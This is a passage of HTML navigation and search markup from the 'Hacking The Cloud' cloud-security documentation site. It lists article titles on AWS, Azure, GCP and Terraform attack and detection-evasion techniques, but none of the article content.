name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6 checked> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=true> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span 